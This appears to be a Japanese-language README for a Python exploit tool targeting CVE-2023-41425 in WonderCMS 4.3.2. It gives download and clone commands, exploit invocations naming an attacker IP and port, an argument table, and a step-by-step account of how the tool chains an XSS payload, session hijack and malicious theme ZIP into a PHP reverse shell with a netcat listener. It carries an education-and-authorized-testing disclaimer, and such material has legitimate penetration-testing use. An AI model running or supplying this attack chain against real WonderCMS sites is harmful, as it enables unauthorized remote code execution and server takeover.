
WonderCMS に悪意のあるテーマモジュールをインストールするための JavaScript XSS ペイロードの作成とホスティングを自動化し、リモートコード実行を介してリバースシェルを起動します。このツールはペイロードとして PentestMonkey の PHP リバースシェルスクリプトを使用します。
このPythonベースの攻撃的セキュリティツールは、WonderCMS 4.3.2 の Remote Code Execution (RCE) 脆弱性(具体的には CVE-2023-41425)のエクスプロイトを自動化します。悪意のあるZIPテーマモジュールを作成し、JavaScriptベースのXSSペイロードを配信して管理者セッションを乗っ取り、PHPリバースシェルを展開するプロセスを効率化します。
⚠️ 教育目的および許可されたセキュリティテスト目的のみに使用してください。
このスクリプトはPythonの標準ライブラリのみに依存しています。外部パッケージは必要ありません。
wget https://github.com/Tea-On/CVE-2023-41425-RCE-WonderCMS-4.3.2/archive/refs/heads/main.zip
unzip main.zip
cd CVE-2023-41425-RCE-WonderCMS-4.3.2-main
git clone https://github.com/Tea-On/CVE-2023-41425-RCE-WonderCMS-4.3.2.git
cd ./CVE-2023-41425-RCE-WonderCMS-4.3.2
python3 exploit_CVE-2023-41425.py -u http://target/index.php?page=loginURL -H 192.168.0.100 -p 4444 -r reverseShell.php
python3 exploit_CVE-2023-41425.py -u http://target/index.php?page=loginURL -H 192.168.0.100 -p 4444 -r ./reverseShell.php
以下はスクリプトが内部で行う処理の内訳です:
引数解析:
argparseを使用して攻撃者からの必須およびオプションの入力を収集します。リバースシェルの準備:
$ip と $port のプレースホルダを指定された -H と -p の値に置き換えます。悪意のあるZIPの作成:
<dir_name>/<php_reverse_shell.php> のようなディレクトリ構造を作成します。<zip_name>.zip に圧縮します。XSSペイロード(script.js)の生成:
指示とエクスプロイトのホスティング:
nc リスナーコマンドを出力します。このツールは MIT License の下で提供されています。
🔥 を使って TeaOnHack🧋 によって作られました。
このプロジェクトは教育目的および許可されたセキュリティ評価のみを目的としています。作者はこのツールの誤用や損害について一切の責任を負いません。
| 引数 | 必須 | 説明 | デフォルト |
|---|
-u | ✅ | 対象のWonderCMSログインURL(例:http://target/index.php?...) | — |
-H, --host | ✅ | 攻撃者のIPアドレス(リバースシェル用) | — |
-p | ✅ | 攻撃者の待受ポート | — |
-r, --reverse-shell | ✅ | PHPリバースシェルスクリプトへのパス | — |
--dir-name | ❌ | ZIPテーマアーカイブ内のディレクトリ | TeaOn |
--http-port | ❌ | ローカルHTTPサーバーのポート | 3000 |
--zip-name | ❌ | 生成されるZIPファイルの名前 | reverse-shell |